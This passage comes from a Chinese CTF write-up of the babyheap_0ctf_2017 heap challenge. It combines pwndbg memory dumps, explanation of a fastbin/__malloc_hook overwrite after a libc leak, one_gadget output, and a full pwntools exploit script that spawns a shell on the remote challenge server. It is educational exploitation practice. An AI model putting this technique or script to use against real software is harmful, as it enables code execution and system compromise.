0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55a48aeca080 —▸ 0x7f46cb771b78 (main_arena+88) ◂— 0x55a48aeca080
smallbins
empty
largebins
empty
pwndbg> x/50gx 0x55a48aeca000
0x55a48aeca000: 0x0000000000000000 0x0000000000000021
0x55a48aeca010: 0x0000000000000000 0x0000000000000000
0x55a48aeca020: 0x0000000000000000 0x0000000000000021
0x55a48aeca030: 0x0000000000000000 0x0000000000000000
0x55a48aeca040: 0x0000000000000000 0x0000000000000021
0x55a48aeca050: 0x0000000000000000 0x0000000000000000
0x55a48aeca060: 0x0000000000000000 0x0000000000000021
0x55a48aeca070: 0x0000000000000000 0x0000000000000000
0x55a48aeca080: 0x0000000000000000 0x0000000000000091
0x55a48aeca090: 0x00007f46cb771b78 0x00007f46cb771b78
0x55a48aeca0a0: 0x0000000000000000 0x0000000000000021
0x55a48aeca0b0: 0x0000000000000080 0x0000000000000000
0x55a48aeca0c0: 0x0000000000000000 0x0000000000002100
0x55a48aeca0d0: 0x0000000000000000 0x0000000000000000
0x55a48aeca0e0: 0x0000000000000000 0x0000000000000000
0x55a48aeca0f0: 0x0000000000000000 0x0000000000000000
0x55a48aeca100: 0x0000000000000000 0x0000000000000000
0x55a48aeca110: 0x0000000000000090 0x0000000000000090
0x55a48aeca120: 0x0000000000000000 0x0000000000000000
0x55a48aeca130: 0x0000000000000000 0x0000000000000000
0x55a48aeca140: 0x0000000000000000 0x0000000000000000
0x55a48aeca150: 0x0000000000000000 0x0000000000000000
0x55a48aeca160: 0x0000000000000000 0x0000000000000000
0x55a48aeca170: 0x0000000000000000 0x0000000000000000
0x55a48aeca180: 0x0000000000000000 0x0000000000000000
1
2
[*] __malloc_hook: 0x7f46cb771b10 
[*] libc_base: 0x7f46cb3ad000
切割4号块

将四号块切割,使得一部分块放入fastbin中,这样才便于利用

申请0x60空间

新块的idx为4(把idx4给了分配的块,因为分配的0x21没有idx)

切割0x91的块,剩下0x21放入了unsortedbin中

1
allo(0x60)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55f4d9dc8000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55f4d9dc8020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55f4d9dc8040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55f4d9dc8060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55f4d9dc8080
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55f4d9dc80f0
Size: 0x21
fd: 0x7f3275391b78
bk: 0x7f3275391b78

Allocated chunk
Addr: 0x55f4d9dc8110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x55f4d9dc81a0
Size: 0x20e61

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55f4d9dc80f0 —▸ 0x7f3275391b78 (main_arena+88) ◂— 0x55f4d9dc80f0
smallbins
empty
largebins
empty
pwndbg> x/50gx 0x55f4d9dc8000
0x55f4d9dc8000: 0x0000000000000000 0x0000000000000021
0x55f4d9dc8010: 0x0000000000000000 0x0000000000000000
0x55f4d9dc8020: 0x0000000000000000 0x0000000000000021
0x55f4d9dc8030: 0x0000000000000000 0x0000000000000000
0x55f4d9dc8040: 0x0000000000000000 0x0000000000000021
0x55f4d9dc8050: 0x0000000000000000 0x0000000000000000
0x55f4d9dc8060: 0x0000000000000000 0x0000000000000021
0x55f4d9dc8070: 0x0000000000000000 0x0000000000000000
0x55f4d9dc8080: 0x0000000000000000 0x0000000000000071
0x55f4d9dc8090: 0x0000000000000000 0x0000000000000000
0x55f4d9dc80a0: 0x0000000000000000 0x0000000000000000
0x55f4d9dc80b0: 0x0000000000000000 0x0000000000000000
0x55f4d9dc80c0: 0x0000000000000000 0x0000000000000000
0x55f4d9dc80d0: 0x0000000000000000 0x0000000000000000
0x55f4d9dc80e0: 0x0000000000000000 0x0000000000000000
0x55f4d9dc80f0: 0x0000000000000000 0x0000000000000021
0x55f4d9dc8100: 0x00007f3275391b78 0x00007f3275391b78
0x55f4d9dc8110: 0x0000000000000020 0x0000000000000090
0x55f4d9dc8120: 0x0000000000000000 0x0000000000000000
0x55f4d9dc8130: 0x0000000000000000 0x0000000000000000
0x55f4d9dc8140: 0x0000000000000000 0x0000000000000000
0x55f4d9dc8150: 0x0000000000000000 0x0000000000000000
0x55f4d9dc8160: 0x0000000000000000 0x0000000000000000
0x55f4d9dc8170: 0x0000000000000000 0x0000000000000000
0x55f4d9dc8180: 0x0000000000000000 0x0000000000000000

释放0x60的块

再次释放0x60的块,放入了fastbin中,为fastbin后面继续申请0x60的堆地址提供了帮助

1
free(4)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5563feb05000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5563feb05020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5563feb05040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5563feb05060
Size: 0x21
#4
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5563feb05080
Size: 0x71
fd: 0x00

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5563feb050f0
Size: 0x21
fd: 0x7f66aa6bfb78
bk: 0x7f66aa6bfb78

Allocated chunk
Addr: 0x5563feb05110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5563feb051a0
Size: 0x20e61

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5563feb05080 ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x5563feb050f0 —▸ 0x7f66aa6bfb78 (main_arena+88) ◂— 0x5563feb050f0
smallbins
empty
largebins
empty
pwndbg> x/50gx 0x5563feb05000
0x5563feb05000: 0x0000000000000000 0x0000000000000021
0x5563feb05010: 0x0000000000000000 0x0000000000000000
0x5563feb05020: 0x0000000000000000 0x0000000000000021
0x5563feb05030: 0x0000000000000000 0x0000000000000000
0x5563feb05040: 0x0000000000000000 0x0000000000000021
0x5563feb05050: 0x0000000000000000 0x0000000000000000
0x5563feb05060: 0x0000000000000000 0x0000000000000021
0x5563feb05070: 0x0000000000000000 0x0000000000000000
0x5563feb05080: 0x0000000000000000 0x0000000000000071
0x5563feb05090: 0x0000000000000000 0x0000000000000000
0x5563feb050a0: 0x0000000000000000 0x0000000000000000
0x5563feb050b0: 0x0000000000000000 0x0000000000000000
0x5563feb050c0: 0x0000000000000000 0x0000000000000000
0x5563feb050d0: 0x0000000000000000 0x0000000000000000
0x5563feb050e0: 0x0000000000000000 0x0000000000000000
0x5563feb050f0: 0x0000000000000000 0x0000000000000021
0x5563feb05100: 0x00007f66aa6bfb78 0x00007f66aa6bfb78
0x5563feb05110: 0x0000000000000020 0x0000000000000090
0x5563feb05120: 0x0000000000000000 0x0000000000000000
0x5563feb05130: 0x0000000000000000 0x0000000000000000
0x5563feb05140: 0x0000000000000000 0x0000000000000000
0x5563feb05150: 0x0000000000000000 0x0000000000000000
0x5563feb05160: 0x0000000000000000 0x0000000000000000
0x5563feb05170: 0x0000000000000000 0x0000000000000000
0x5563feb05180: 0x0000000000000000 0x0000000000000000

修改idx2内容,使其为malloc_hook附近构造chunk的地址

修改idx2内容,使其为malloc_hook附近构造chunk的地址,这块地址将来要创建一个虚假的chunk,要求是大小不能超过fastbin,并且包含malloc_hook,因为后面要将malloc_hook修改,使其指向其他函数,执行攻击。一般会将伪造的chunk的size为0x7f,正好在fastbin要求之内,也足够大,计算该地址为malloc_hook

查看malloc_hook的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg>  x/32gx (long long)(&main_arena)-0x40
0x7f66aa6bfae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7f66aa6bfaf0 <_IO_wide_data_0+304>: 0x00007f66aa6be260 0x0000000000000000#计算可知要构造size位为:0x000000000000007f,其地址为malloc_hook-35
0x7f66aa6bfb00 <__memalign_hook>: 0x00007f66aa380ea0 0x00007f66aa380a70
0x7f66aa6bfb10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f66aa6bfb20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7f66aa6bfb30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7f66aa6bfb40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7f66aa6bfb50 <main_arena+48>: 0x00005563feb05080 0x0000000000000000
0x7f66aa6bfb60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7f66aa6bfb70 <main_arena+80>: 0x0000000000000000 0x00005563feb051a0
0x7f66aa6bfb80 <main_arena+96>: 0x00005563feb050f0 0x00005563feb050f0
0x7f66aa6bfb90 <main_arena+112>: 0x00005563feb050f0 0x00007f66aa6bfb88
0x7f66aa6bfba0 <main_arena+128>: 0x00007f66aa6bfb88 0x00007f66aa6bfb98
0x7f66aa6bfbb0 <main_arena+144>: 0x00007f66aa6bfb98 0x00007f66aa6bfba8
0x7f66aa6bfbc0 <main_arena+160>: 0x00007f66aa6bfba8 0x00007f66aa6bfbb8
0x7f66aa6bfbd0 <main_arena+176>: 0x00007f66aa6bfbb8 0x00007f66aa6bfbc8
pwndbg> x/2gx 0x7f66aa6bfb10-35
0x7f66aa6bfaed <_IO_wide_data_0+301>: 0x66aa6be260000000 0x000000000000007f
1
2
payload = p64(__malloc_hook - 35) 
fill(2,len(payload),payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5582aad11000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5582aad11020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5582aad11040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5582aad11060
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5582aad11080
Size: 0x71
fd: 0x7f5647966aed#指向(_IO_wide_data_0+301)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5582aad110f0
Size: 0x21
fd: 0x7f5647966b78
bk: 0x7f5647966b78

Allocated chunk
Addr: 0x5582aad11110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5582aad111a0
Size: 0x20e61

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5582aad11080 —▸ 0x7f5647966aed (_IO_wide_data_0+301) ◂— 0x5647627ea0000000
0x80: 0x0
unsortedbin
all: 0x5582aad110f0 —▸ 0x7f5647966b78 (main_arena+88) ◂— 0x5582aad110f0
smallbins
empty
largebins
empty
pwndbg> x/50gx 0x5582aad11000
0x5582aad11000: 0x0000000000000000 0x0000000000000021
0x5582aad11010: 0x0000000000000000 0x0000000000000000
0x5582aad11020: 0x0000000000000000 0x0000000000000021
0x5582aad11030: 0x0000000000000000 0x0000000000000000
0x5582aad11040: 0x0000000000000000 0x0000000000000021
0x5582aad11050: 0x0000000000000000 0x0000000000000000
0x5582aad11060: 0x0000000000000000 0x0000000000000021
0x5582aad11070: 0x0000000000000000 0x0000000000000000
0x5582aad11080: 0x0000000000000000 0x0000000000000071
0x5582aad11090: 0x00007f5647966aed 0x0000000000000000
0x5582aad110a0: 0x0000000000000000 0x0000000000000000
0x5582aad110b0: 0x0000000000000000 0x0000000000000000
0x5582aad110c0: 0x0000000000000000 0x0000000000000000
0x5582aad110d0: 0x0000000000000000 0x0000000000000000
0x5582aad110e0: 0x0000000000000000 0x0000000000000000
0x5582aad110f0: 0x0000000000000000 0x0000000000000021
0x5582aad11100: 0x00007f5647966b78 0x00007f5647966b78
0x5582aad11110: 0x0000000000000020 0x0000000000000090
0x5582aad11120: 0x0000000000000000 0x0000000000000000
0x5582aad11130: 0x0000000000000000 0x0000000000000000
0x5582aad11140: 0x0000000000000000 0x0000000000000000
0x5582aad11150: 0x0000000000000000 0x0000000000000000
0x5582aad11160: 0x0000000000000000 0x0000000000000000
0x5582aad11170: 0x0000000000000000 0x0000000000000000
0x5582aad11180: 0x0000000000000000 0x0000000000000000
pwndbg> x/30gx 0x7f5647966aed
0x7f5647966aed <_IO_wide_data_0+301>: 0x5647965260000000 0x000000000000007f
0x7f5647966afd: 0x5647627ea0000000 0x5647627a7000007f
0x7f5647966b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f5647966b1d: 0x0000000000000000 0x0000000000000000
0x7f5647966b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7f5647966b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000
0x7f5647966b4d <main_arena+45>: 0x82aad11080000000 0x0000000000000055
0x7f5647966b5d <main_arena+61>: 0x0000000000000000 0x0000000000000000
0x7f5647966b6d <main_arena+77>: 0x0000000000000000 0x82aad111a0000000
0x7f5647966b7d <main_arena+93>: 0x82aad110f0000055 0x82aad110f0000055
0x7f5647966b8d <main_arena+109>: 0x82aad110f0000055 0x5647966b88000055
0x7f5647966b9d <main_arena+125>: 0x5647966b8800007f 0x5647966b9800007f
0x7f5647966bad <main_arena+141>: 0x5647966b9800007f 0x5647966ba800007f
0x7f5647966bbd <main_arena+157>: 0x5647966ba800007f 0x5647966bb800007f
0x7f5647966bcd <main_arena+173>: 0x5647966bb800007f 0x5647966bc800007f

申请假chunk,并将malloc_hook修改 malloc->gadget
1
2
3
4
5
allo(0x60)
allo(0x60)#申请假chunk
payload = b'a'*(0x8+0x2+0x8+1)
payload += p64(libc_base+0x4526a)
fill(6,len(payload),payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x562f5ab09000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x562f5ab09020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x562f5ab09040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x562f5ab09060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x562f5ab09080
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x562f5ab090f0
Size: 0x21
fd: 0x7f99e2ffeb78
bk: 0x7f99e2ffeb78

Allocated chunk
Addr: 0x562f5ab09110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x562f5ab091a0
Size: 0x20e61

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x99e2cbfea0000000
0x80: 0x0
unsortedbin
all: 0x562f5ab090f0 —▸ 0x7f99e2ffeb78 (main_arena+88) ◂— 0x562f5ab090f0
smallbins
empty
largebins
empty
pwndbg> x/30gx 0x562f5ab09000
0x562f5ab09000: 0x0000000000000000 0x0000000000000021
0x562f5ab09010: 0x0000000000000000 0x0000000000000000
0x562f5ab09020: 0x0000000000000000 0x0000000000000021
0x562f5ab09030: 0x0000000000000000 0x0000000000000000
0x562f5ab09040: 0x0000000000000000 0x0000000000000021
0x562f5ab09050: 0x0000000000000000 0x0000000000000000
0x562f5ab09060: 0x0000000000000000 0x0000000000000021
0x562f5ab09070: 0x0000000000000000 0x0000000000000000
0x562f5ab09080: 0x0000000000000000 0x0000000000000071
0x562f5ab09090: 0x0000000000000000 0x0000000000000000
0x562f5ab090a0: 0x0000000000000000 0x0000000000000000
0x562f5ab090b0: 0x0000000000000000 0x0000000000000000
0x562f5ab090c0: 0x0000000000000000 0x0000000000000000
0x562f5ab090d0: 0x0000000000000000 0x0000000000000000
0x562f5ab090e0: 0x0000000000000000 0x0000000000000000

再次执行malloc

因为malloc_hook已经被修改到其他地址,我们再次执行malloc,则会执行我们的目标函数,用one_gadget找到目标函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
fanfan@ubuntu:~/pwn challenges/heap$ one_gadget libc-2.23.so
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)#不知道什么问题,我的目标函数跑打不通,0x4526a则可以
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

1
allo(79)#getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#p=process('babyheap_0ctf_2017')
p=remote('node4.buuoj.cn',29856)
libc=ELF('libc-2.23.so')
def debug():
attach(p)
pause()
def allo(size):
p.recvuntil("Command: ")
p.sendline(str(1))
p.recvuntil("Size: ")
p.sendline(str(size))

def fill(idx,size,content):
p.recvuntil("Command: ")
p.sendline(str(2))
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.sendline(content)

def free(idx):
p.recvuntil("Command: ")
p.sendline(str(3))
p.recvuntil("Index: ")
p.sendline(str(idx))

def dump(idx):
p.recvuntil("Command: ")
p.sendline(str(4))
p.recvuntil("Index: ")
p.sendline(str(idx))
allo(0x10)#0
allo(0x10)#1
allo(0x10)#2
allo(0x10)#3
allo(0x80)#4
free(1)
free(2)

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21)
payload += p8(0x80) # 使2的chunk空闲块指向了4号块的位置,4号位为较大的chunk,用来获取目标地址
fill(0,len(payload),payload)

payload = p64(0)*3 + p64(0x21)
fill(3,len(payload),payload) # 让4号块的大小变成0x21,这样4号块就意义上被free了

allo(0x10)#1 The original position of 2 # 申请原本2号块
allo(0x10)#2 4 Simultaneous pointing # 这里就会申请到4号块的位置

payload = p64(0)*3 + p64(0x91)
fill(3,len(payload),payload) # 将4号块的大小改回 0x91,不然找不到top chunk位置

allo(0x80) # 在申请一块大空间,避免4号块和top chunk合并

free(4) # 释放4号块
dump(2)
__malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\0')) - 88 - 0x10
libc_base = __malloc_hook - libc.symbols["__malloc_hook"]
log.info("__malloc_hook: "+ hex(__malloc_hook))
log.info("libc_base: "+ hex(libc_base))

allo(0x60)
free(4) # 相当于做一个切割,将0x80的块分成0x60在fastbin中,0x20在unsortedbin中


payload = p64(__malloc_hook - 35)
fill(2,len(payload),payload)


allo(0x60)
allo(0x60) # 这个就会申请到假chunk

payload = b'a'*(0x8+0x2+0x8+1)
payload += p64(libc_base+0x4526a)
fill(6,len(payload),payload)

allo(79)

p.interactive()

buuctf-pwn
http://example.com/2023/03/07/buuctf刷题记录/
作者
fan fan
发布于
2023年3月7日
许可协议